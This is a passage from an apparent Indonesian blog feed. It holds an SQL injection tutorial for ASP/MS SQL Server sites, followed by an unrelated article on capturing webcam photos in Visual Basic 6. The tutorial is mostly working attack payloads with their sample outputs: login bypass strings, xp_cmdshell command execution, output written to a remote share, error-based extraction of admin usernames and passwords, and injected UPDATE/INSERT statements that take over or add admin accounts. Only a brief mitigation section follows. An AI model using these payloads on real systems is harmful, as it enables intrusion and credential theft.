<p>Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP.</p>
<p><span id="more-148"></span></p>
<h3><strong>1.3 Apa yang diperlukan</strong></h3>
<p>Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang dipakai adalah segala macam browser.</p>
<h3><strong>2.1 Apa yang perlu di cari ?</strong></h3>
<p>Kita dapat memanfaatkan halaman-halaman web yang terdapat <em>submit data</em>, contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML, tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode “FORM”. Berikut contoh halaman tersebut:</p>
<pre>&lt;FORM action=search.asp method=post&gt;
&lt;input value=andi&gt;
&lt;/FORM&gt;</pre>
<p>Semua yang terletak diantara &lt;FORM&gt; dan &lt;/FORM&gt; mempunyai potensial untuk digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login” dengan nilai (value)=”andi”.</p>
<h3><strong>2.2 Bagaimana jika tidak bukan halaman input ?</strong></h3>
<p>Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian cari spesial URL seperti http://www.myandisun.com/profile.asp?id=10. Ini berarti halaman web ASP dengan parameter “id” yang bernilai “10”.</p>
<h3><strong>2.3   Bagaimana cara mengetes suatu halaman web mudah diserang?</strong></h3>
<p>Dimulai dari pengunaan single quote. Seperti masukan:</p>
<pre>hi or 1=1--</pre>
<p>Dalam login, password, atau URL lain. Contoh:</p>
<pre> - Login: hi' or 1=1--</pre>
<pre> - Pass: hi' or 1=1--</pre>
<pre> - http://www.myandisun.com/profil.asp?id=10id=hi' or 1=1--</pre>
<p>Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut:<br />
Skrip awal:</p>
<pre>&lt;FORM action=search.asp method=post&gt;
 &lt;input value=t610 &gt;
&lt;/FORM&gt;</pre>
<p>Setelah di modifikasi:</p>
<pre>&lt;FORM action=http://www.myandisun.com/search.asp method=post&gt;
&lt;input value=t610&gt;
&lt;/FORM&gt;</pre>
<p>Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman web tanpa harus mengisikan login name dan password yang benar.</p>
<h3><strong>3.1 Kenapa Harus ‘ or 1=1&#8211;</strong></h3>
<p>Kita akan ekplorasi pentingnya 1=1 &#8212; dan apakah memperoleh informasi yang tidak normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp yang di link ke halaman lain seperti URL berikut:</p>
<pre>http://www.myandisun.com/barang.asp?category=food</pre>
<p>Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel diatas berikut code program pada file barang.asp.</p>
<pre>v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"
set rs=conn.execute(sqlstr)</pre>
<p>seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat” dan SQL menjadi:</p>
<pre>SELECT * FROM product WHERE PCategory='food'</pre>
<p>Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk kondisi dimana (WHERE) kondisinya adalah ‘food’.</p>
<p>Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini:</p>
<pre>http://www.myandisun.com/barang.asp?category=food' or 1=1--</pre>
<p>Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—“, jika masukkan ke query maka:</p>
<pre>SELECT * FROM product WHERE PCategory='food' or 1=1--'</pre>
<p>Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory” sama dengan ‘food’ atau tidak. Sedangkan double dash “&#8211;“ menyatakan pada SQL server untuk mengabaikan kesalahan query, yang akan membersihkan single quote yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”.</p>
<p>Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan query anda dapat mencoba.</p>
<pre>' or 'a'='a</pre>
<p>Sehingga query akan menjadi:</p>
<pre>SELECT * FROM product WHERE PCategory='food' or 'a'='a'</pre>
<p>Itu seharusnya akan menghasilkan hasil yang sama.</p>
<p>Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang mungkin:</p>
<pre>' or 1=1--

 " or 1=1--

 or 1=1--

 ' or 'a'='a

 " or "a"="a

 ') or ('a'='a</pre>
<h3><strong>4.0  Bagaimana mengeksekusi jarak jauh dengan SQL Injection?</strong></h3>
<p>Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL. Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama dengan Administrator mengakses Windows. Kita dapat menggunakan store procedure seperti master..xp_cmdshell untuk melakukan remote exucution:</p>
<pre>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</pre>
<p>Dapat dicoba menggunakan double quote (&#8220;) jika single quote (&#8216;) tidak berjalan.</p>
<p>Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari 10.10.1.2,  yang akan mencek setiap paket dari server.</p>
<pre> #tcpdump icmp</pre>
<p>Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses Web User untuk menakses store procedure tersebut.</p>
<h3><strong>5.0 Bagaimana memperoleh output dari SQL Query kita ?</strong></h3>
<p>Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML.</p>
<pre>'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"</pre>
<p>Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya user.</p>
<h3><strong>6.0  Bagaimana memperoleh data dari pesan kesalahan database ?</strong></h3>
<p>Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL Server untuk mendapatkan sebagian data yang kita perlukan.</p>
<pre>http://www.myandisun.com/barang.asp?id=10</pre>
<p>Kita akan mencoba UNION integer ‘10’ dengan string dari database:</p>
<pre> http://www.myandisun.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--</pre>
<p>Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam SQL Server, query nya adalah:</p>
<pre>SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-</pre>
<p>Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string (nvarchar) menjadi integer.  Ini akan menghasilkan error, ketika kita tidak bisa mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan kesalahan.</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
 /barang.asp, line 5</pre>
<p>Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di dalam database, yang namanya “tabel1”.</p>
<p>Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut:</p>
<pre> http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--</pre>
<p>Kita juga dapat mencari data mengunakan keyword LIKE.</p>
<pre> http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
 /index.asp, line 5</pre>
<p>Jika kita lihat syntax ini sama antara &#8216;%25login%25&#8242; dan %login% dalam SQL Server. Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk criteria “admin_login”.</p>
<h3><strong>6.1 Bagaimana mendapatkan semua nama kolom dalam tabel ?</strong></h3>
<p>Kita dapat menggunakan kegunaan lain dari tabel INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah tabel dalam database.</p>
<pre>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--</pre>
<p>Hasil:</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5</pre>
<p>Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan NOT IN () untuk mendapatkan nama kolom berikutnya.</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
 /index.asp, line 5</pre>
<p>Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan kesalahan.</p>
<pre>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
 /index.asp, line 5</pre>
<h3><strong>6.2 Bagaimana mendapatkan kembali data yang kita perlukan ?</strong></h3>
<p>Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut yang kita inginkan dari database.</p>
<p>Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”:</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
 /index.asp, line 5</pre>
<p>Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password dari “neo” dari database.</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--</pre>
<p>Hasil:</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
 /index.asp, line 5</pre>
<p>Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”.</p>
<h3><strong>6.3 Bagaimana mendapatkan niilai numeric string ?</strong></h3>
<p>Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan pesan error jika kita mencoba menkonversi text yang terdiri dari valid number (carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang “31173”.</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--</pre>
<p>Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena password “31173” akan di konversi menjadi number, sebelum UNION dengan integer (10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data beberapa masukan numeric.</p>
<p>Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query berikut:</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--</pre>
<p>Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan ‘(space)morpheus’ dalam passeord yang sebenarnya.  Oleh karena itu, selama kita mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi sebuah integer, SQL Server akan mengeluarkan pesan kesalahan:</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
 /index.asp, line 5</pre>
<p>Sekarang, anda dapat login sebagai &#8216;trinity&#8217; dengan password &#8217;31173&#8242;.</p>
<h3><strong>7.0 Bagaimana megupdate dan memasukkan data ke dalam database?</strong></h3>
<p>Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai contoh menganti password “neo”:</p>
<pre> http://www.myandisun.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--</pre>
<p>Untuk INSERT record baru ke dalam database:</p>
<pre> http://www.myandisun.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--</pre>
<p>Kita dapat login sebagai “neo2” dengan password “newpas5”</p>
<h3><strong>8.0 Bagimana menghindari SQL Injection?</strong></h3>
<p>Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web dengan SQL Injection dengan cara:</p>
<p>a.  Memfilter dengan tidak membolehkan karakter seperti single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, dalam string form:<br />
- Masukan dari from users<br />
- Parameters di URL<br />
- Nilai dari cookie<strong> </strong></p>
<p>b.  Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan mengunakan ISNUMERIC untuk meyakinkan itu adalah integer. <strong> </strong></p>
<p>c.  Mengubah  &#8220;Startup and run SQL Server&#8221; menggunakan low privilege user dalam SQL Server Security tab.<strong> </strong></p>
<p>d.  Ubah stored procedure – store procedure yang tidak terpakai, seperti:<br />
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask<br />
<strong> </strong></p>
<p><strong> </strong></p>
<h3><strong>Kesimpulan</strong><strong> </strong></h3>
<p>SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web dengan SQL Injection.</p>
<p>Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan. Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan motode SQL Injection adalah Validasi input sebelum dikirim ke web server.</p>
<h3><strong>Daftar Pustaka:</strong></h3>
<p>http://www.wiretrip.net/rfp/p/doc.asp?id=42&#038;iface=6</p>
<p>http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc</p>
<p>http://www.owasp.org/asac/input_validation/sql.shtml</p>
<p>http://www.wiretrip.net/rfp/p/doc.asp?id=7&#038;iface=6</p>
<p>http://www.wiretrip.net/rfp/p/doc.asp?id=60&#038;iface=6</p>
<p>http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/sql-injection-overview/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pengambilan Gambar dari Web Camera untuk Membangun Sistem Informasi</title>
		<link>http://www.andisun.com/jurnal/pengambilan-gambar-dari-web-camera-untuk-membangun-sistem-informasi-2</link>
		<comments>http://www.andisun.com/jurnal/pengambilan-gambar-dari-web-camera-untuk-membangun-sistem-informasi-2#comments</comments>
		<pubDate>Thu, 16 Jul 2009 11:36:16 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[basic]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[gambar]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[visual]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=137</guid>
		<description><![CDATA[Oleh: Andi Sunyoto Abstraksi Makalah ini membahas tentang pemanfaatan media Digital dalam hal ini Web Camera untuk membantu proses pengambilan gambar pada objek untuk kepentingan pembangunan sistem informasi yang berhubungan dengan penyajian foto personil. Pembahasan kita nanti akan secara teknis menggunakan bahasa pemrograman Visual Basic 6.0.  Pada percobaan yang penulis sudah memutuskan menggunakan Web Camera [...]]]></description>
			<content:encoded><![CDATA[<p>Oleh: Andi Sunyoto</p>
<p style="text-align: left;"><strong>Abstraksi</strong></p>
<p style="text-align: left;">Makalah ini membahas tentang pemanfaatan media Digital dalam hal ini <em>Web Camera </em>untuk membantu proses pengambilan gambar pada objek untuk kepentingan pembangunan sistem informasi yang berhubungan dengan penyajian foto personil. Pembahasan kita nanti akan secara teknis menggunakan bahasa pemrograman Visual Basic 6.0.  Pada percobaan yang penulis sudah memutuskan menggunakan <em>Web Camera </em>dibanding menggunakan kamera konvensional atau kamera Digital. Walaupun demikian masih ada persoalan-persoalan teknis yang ada. Penulis akan membahas permasalahan teknis tersebut serta langkah-langkah pengambilan gambar (foto).</p>
<p><strong>Kata Kunci: </strong>image, gambar, web, camera, visual basic</p>
<p><strong> </strong></p>
<h2>I.      Pendahuluan</h2>
<p>Hampir semua alat sekarang berbentuk digital. Tidak ketinggalan camera, yang dulunya masing menggunakan negatif film untuk menyimpan gambar sekarang sudah tidak perlu lagi menggunakan negatif film. Kita tidak bisa melihat hasil sebelum kita mencetaknya, bahkan sebelum kita mengambil gambar kita bisa melihat secara visual hasil gambarnya.</p>
<p>Pengolahan data gambar yang berhubungan dengan data personil dulunya masing menggunakan media kertas. Hal tersebut sekarang sudah mulai ditinggalkan dan beralih ke era tanpa kertas <em>(papper less)</em>. Dengan menggunakan model  <em>papper less,</em> berati kita menggunakan media digital untuk memproses data kita yang dalam hal ini kita menggunakan alat bantu komputer. Efisiensi akan kita dapat ketika dituntut untuk cepat, tepat dan akurat dengan menggunkan media Digital.</p>
<p>Foto yang dulunya di buat dengan kamera konvensional dan baru terllihat hasilnya ketika kita mencetaknya. Kemudian foto ditempel ke tempat dimana data yang sebelumnya di cetak. Hal ini akan memekan waktu yang lama. Nampaknya hal tersebut sudah mulai ditinggalkan dan beranjak menggunakan kamera digital dan <em>web camera</em> untuk merekamnya.</p>
<p>Walaupun demikian jika kita tetap akan menggunakan kamera konvensional untuk merekam gambar (foto) kita bisa merubah data gambar tersebut dari gambar yang tercetak di kertas ke bentuk digital dengan menggunakan piranti scanner.</p>
<p><span id="more-137"></span></p>
<h2>II.      Mana yang lebih baik ? (Kamera Konvensional, Kamera Digital atau  Web Camera)</h2>
<p><strong>Kamera Konvensional</strong></p>
<p>Kamera konvensional adalah kamera model lama yang masih menggunakan media negatif film untuk menyimpan gambar. Pada media ini kita bisa melihat hasil pemotretan harus dicetak terlebih dahulu.</p>
<div id="attachment_139" class="wp-caption alignnone" style="width: 211px"><img class="size-full wp-image-139" title="convensional_camera" src="http://www.andisun.com/wp-content/uploads/2009/07/convensional_camera.png" alt="Kamera Konvesional" width="201" height="129" /><p class="wp-caption-text">Kamera Konvesional</p></div>
<p>Jika nantinya data yang merubah kedalam sistem informasi digital berarti akan mengubah dari proses cetak negatif film (yang berbentuk kertas foto) ke bentuk digital menggunakan media <em>scaner</em>. Setelah tahap penyecannan selesai barulah kita bisa mengolah gambar tersebut dalam media komputer. Masalah timbul ketika kita harus mengedit satu persatu foto yang mungkin kurang jelas, terlalu lebar atau terlalu panjang, dan organisasi file juga sulit. Dan tidak semua orang bisa melakukannya.</p>
<p><strong>Kamera Digital</strong></p>
<p>Sangatlah mudah saat ini kita mendapatkan kamera digital. Harganya bervariasi tergantung dari resousi yang ditawarkan, fasilitas yang ada dan tentunya merk. Pengoperasian kamera ini juga mudah karena sudah banyak kamera digital sekarang yang menggunakan layar tampilan.Masalah akan muncul ketika kita akan memanajemen file dan jika kita membutuhkan tampilan secara <em>real time</em> pada software kita. Dan juga dilengkapi dengan software-software bawaan yang emudahkan bagi kita untuk mentransfer, mengolahnya kedalam bentuk lain.</p>
<div id="attachment_140" class="wp-caption alignnone" style="width: 131px"><img class="size-full wp-image-140" title="digital_camera001" src="http://www.andisun.com/wp-content/uploads/2009/07/digital_camera001.png" alt="Kamera Digital" width="121" height="87" /><p class="wp-caption-text">Kamera Digital</p></div>
<p><strong>Web Camera</strong></p>
<p><em>Web Camera </em>sendiri adalah sebuah alat yang hampir sama dengan Kamera Digital tapi biasanya digunakan untuk camera aplikasi-aplikasi web.  Dengan menggunakan <em>Web Camera </em>kita bisa menutup kelemahan.</p>
<p>Setelah kita penulis coba menggunakan <em>Web Camera </em>ternyata masih ada beberapa masalah secara teknis yang perlu kita perhatikan. Yang tentunya masalh ini juga dimilki media lain (kamera konvensional dan kamera digital).</p>
<div id="attachment_141" class="wp-caption alignnone" style="width: 126px"><img class="size-full wp-image-141" title="web_camera001" src="http://www.andisun.com/wp-content/uploads/2009/07/web_camera001.png" alt="Web Kamera" width="116" height="116" /><p class="wp-caption-text">Web Kamera</p></div>
<h2>III.      Pembahasan</h2>
<p>Dalam percobaan penulis menggunakan Web Camera Merk Logitech QuickCam Zoom dan bahasa pemrograman Visaul Basic. Untuk pembahasan selanjutanya penulis lebih cenderung membahas secara bahasa pemrograman.</p>
<p>Permasalahan permasalah teknis dalam menggunakan Web Camera adalah:</p>
<ol>
<li>Pencahayaan</li>
<li>Gambar      yang yang dihasilkan dari alat yang kita pilih belum ukurannya belum      sesuai dengan yang kita kehendaki</li>
<li>File      gambar terlalu besar</li>
</ol>
<h2>IV.      Langkah teknis (dengan bahasa pemrograman dengan Visual Basic) pengambilan image dan Solusi masalah</h2>
<div id="attachment_142" class="wp-caption alignnone" style="width: 657px"><img class="size-full wp-image-142" title="proses_capture" src="http://www.andisun.com/wp-content/uploads/2009/07/proses_capture.bmp" alt="langkah Proses Pengolahan Image" width="647" height="80" /><p class="wp-caption-text">Langkah Proses Pengolahan Imange</p></div>
<p>a)       Solusi permasalahn mudah kita atasi dengan menambah penerangan pada areal pemotretan kita. Dengan cahaya yang cukup akan membuat gambar lebih bagus.</p>
<p>b)       Dari segi Visual Basic, untuk keperluan pengambilan gambar kita membutuhkan satu komponen standart exe yang ada di Visual Basic yaitu PictureBox yang digunakan untuk menampilkan secara Real time gambar yang akan diambil. Dan Timer untuk merefresh tampilan pada PictureBox.</p>
<div id="attachment_143" class="wp-caption alignnone" style="width: 311px"><img class="size-full wp-image-143" title="hasil_capture_web" src="http://www.andisun.com/wp-content/uploads/2009/07/hasil_capture_web.png" alt="Contoh Hasil Capture dari Web Camera" width="301" height="199" /><p class="wp-caption-text">Contoh Hasil Capture dari Web Camera</p></div>
<p>Gambar diambil dari Visual Basic dengan perintah</p>
<pre>mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)</pre>
<p>Fungsi ini memanfaatkan WinAPI dari file avicap32.dll yang ada di Sistem Operasi Windows dengan bentuk umum:</p>
<p><code></code><code></code></p>
<pre>HWND VFWAPI capCreateCaptureWindow(
 LPCSTR lpszWindowName,
 DWORD dwStyle,
 int x,
 int y,
 int nWidth,
 int nHeight,
 HWND hWnd,
 int nID
);<code> </code></pre>
<pre></pre>
<p><strong>Keterangan Parameter:</strong></p>
<pre></pre>
<ul>
<li><em>lpszWindowName</em></li>
</ul>
<p style="padding-left: 30px;">Nama string untuk capture gambar</p>
<ul>
<li><em>dwStyle</em></li>
</ul>
<p style="padding-left: 30px;">Style window yang digunakan untuk capture. Stule Window  di terangkan difungdi <a href="javascript:alink_1.Click()"><strong>CreateWindowEx</strong></a>.</p>
<ul>
<li><em>x </em>and <em>y</em></li>
</ul>
<p style="padding-left: 30px;">x dan y adalah kooerdinat pojok kiri atas dan window yang akan di capture.</p>
<ul>
<li><em>nWidth </em>and <em>nHeight</em></li>
</ul>
<p style="padding-left: 30px;">Lebar dan tinggi window yang akan di capture.</p>
<ul>
<li><em>hWnd</em></li>
</ul>
<p style="padding-left: 30px;">Penghendelan window utama.</p>
<ul>
<li><em>nID</em></li>
</ul>
<p style="padding-left: 30px;">Identitas windownya.</p>
<h4>Nilai Pengembalian</h4>
<h4>Kembalian dari fungsi ada atau tidak nilai yang dikembalikan.</h4>
<p>Jika gambar yang tampil pada Komponen Picture Box belum sesuai ukuran kita bisa potong dengan dengan fungsi Crop yang ada di windows.</p>
<pre>PicHasil.PaintPicture picOutput.Picture, 0, 0, KotakCrop.Width, KotakCrop.Height, KotakCrop.Left, KotakCrop.Top, KotakCrop.Width, KotakCrop.Height</pre>
<p><strong>Keterangan:</strong></p>
<p>PicHasil adalah komponen Picture Penampung hasil Croping.</p>
<p>KotakCrop adalah komponen rectangle untuk membantu proses croping.</p>
<p>Draws the contents of a graphics file (.bmp, .wmf, .emf, .cur, .ico, or .dib) on a <strong>Form</strong>, <strong>PictureBox</strong>, or <strong>Printer</strong>. Doesn&#8217;t support <a href="javascript:alink_4.Click()">named arguments</a>.</p>
<p><strong>Bentuk Umum:</strong></p>
<p><em>object</em><strong>.PaintPicture </strong><em>picture</em>, <em>x1</em>, <em>y1</em>, <em>width1</em>, <em>height1</em>, <em>x2</em>, <em>y2</em>, <em>width2</em>, <em>height2</em>, <em>opcode</em></p>
<p>Setelah gambar bisa diambil kemudian di simpan dalam bentuk Bitmap Standar (*.bmp).</p>
<p>Script yang digunakan untuk menyimpan gambar adalah:</p>
<pre>SavePicture PicHasil.Image, App.Path + "\foto.bmp"</pre>
<p>Keterangan:</p>
<p>PicHasil adalah obyek yang akan disimpan gambarnya</p>
<p>App.Path adalah fungsi di VB berguna untuk membaca lokasi aplikasi tertebut berada.</p>
<p>Foto.bmp adalah nama file yang disimpan kedalam hard disk.</p>
<p>Setelah data gabar yang kita inginkan tersimpan (dengan nama file foto.bmp) langkah selanjutnya adalah mengkompres file tersebut ke dalam file kompresi (*.jpg)</p>
<p>Perintah yang digunakan adalah:</p>
<pre>BMPToJPG(App.Path + "\Foto\foto.Bmp", App.Path + "\Foto\foto.jpg", 100)</pre>
<p>Dalam perintah BMPToJPG ini menggunakan library third party.</p>
<h2>V.      Penyimpanan Data Dalam Databse</h2>
<ul>
<li>Meyimpan <em>path</em> gambar</li>
</ul>
<p style="padding-left: 30px;">Cara dan langkah di atas menggunkan file tersendiri untuk menyimpan file gambar, sedangkan pada dalam database hanya merekap data path (letak direktori) dan nama file.</p>
<ul>
<li>Menggunakan      BLOB</li>
</ul>
<p style="padding-left: 30px;">Langkah kedua menggunakan database untuk menyimpan foto. Jika menggunkan cara ini maka kita memerlukan database yang dapat menyimpan data dalam bentuk BLOB (Binary Large Object).</p>
<h2>VI.      Kesimpulan</h2>
<p>Pembangunan sistem informasi yang meyediakan detail data yang dilengkapi dengan gambar personil akan efektif jika menggunakan Web Camera. Karena manajemen pengolahannya akan lebih mudah, dengan kemampuan <em>real time</em> untuk display dan dapat dikendalikan dengan software kita dengan mudah. Kelemahan-lemahan yang ada pada <em>Web Camera</em> bisa kita atasi baik kelemahan teknis (pencahayaan) maupun secara programming dapat diatasi dengan mudah.</p>
<h2>VII.      Daftar Pustaka</h2>
<ul>
<li>Microsoft Software Dovelompment Network (MSDN)</li>
</ul>
<ul>
<li>Help Logitech Software Logitech Image Studio</li>
</ul>
<p>Contoh kode program: <a href="http://www.andisun.com/wp-content/uploads/2009/07/SoftwareKTP.zip">SoftwareKTP.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/pengambilan-gambar-dari-web-camera-untuk-membangun-sistem-informasi-2/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Konsistensi dan Validasi Data Pada Halaman Web</title>
		<link>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web-2</link>
		<comments>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web-2#comments</comments>
		<pubDate>Wed, 15 Jul 2009 05:57:09 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[validasi]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=127</guid>
